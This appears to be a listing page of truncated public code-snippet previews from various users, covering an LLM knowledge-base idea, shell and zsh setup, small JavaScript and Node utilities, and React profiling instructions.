karpathy

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

jivanpal

#!/bin/bash

if [ "$1" = "-s" ] || [ "$1" = "--show" ]; then
    show=true
else
    show=false
fi

if $show || [ "$1" = "-v" ] || [ "$1" = "--verbose" ]; then
    verbose=true

gaearon

class Spiderman {
  lookOut() {
    alert('My Spider-Sense is tingling.');
  }
}

let miles = new Spiderman();
miles.lookOut();

swyxio

Update

The first post has been published: https://www.swyx.io/writing/cloud-distros

The second post has been adapted for Temporal: https://www.swyx.io/why-temporal/

---

these are bullet points of a blogpost on a topic i know very little about but i feel like there is something there that is happening as we speak

PierreThiollent

Setup iTerm2 and oh-my-zsh

Enjoy ! 😄

Install iTerm 2

Download iTerm2 here.

mtancoigne

{
  "arabic": [
    "aghoneim92",
    "Islam888",
    "kmelkon",
    "lelbil",
    "nrifki",
    "OsamaNabih",
    "TaqwaR"
  ],

hboylan

const stream = require('stream')
const readline = require('readline')
const AWS = require('aws-sdk')
const S3 = new AWS.S3()

// read S3 file by line
function createReadline(Bucket, Key) {

    // s3 read stream
    const input = S3

bvaughn

React recently introduced an experimental profiler API. This page gives instructions on how to use this API in a production release of your app.

Table of Contents

• Profiling in production
  • Create React App
  • Webpack 4

Profiling in production

React DOM automatically supports profiling in development mode for v16.5+, but since profiling adds some small additional overhead it is opt-in for production mode. This gist explains how to opt-in.

devTechi

# problem: when presenting, I want to obscure
# my prompt to act like it's at root of file system
# and be very basic with no git info, etc.

# solution: this theme lets you set a ENV to the path
# of your presentation, which will help remove unneeded prompt
# features while in that path

# oh-my-zsh theme for presenting demos
# based off the default rubbyrussell theme

sators

/**
 * Take an array of objects of similar structure and convert it to a CSV.
 * @source     https://halistechnology.com/2015/05/28/use-javascript-to-export-your-data-as-csv/
 * @modifiedBy sators
 * @param      {Array}  options.data            Array of data
 * @param      {String} options.columnDelimiter Column separator, defaults to ","
 * @param      {String} options.lineDelimiter   Line break, defaults to "\n"
 * @return     {String}                         CSV
 */
export default ({data = null, columnDelimiter = ",", lineDelimiter = "\n"}) => {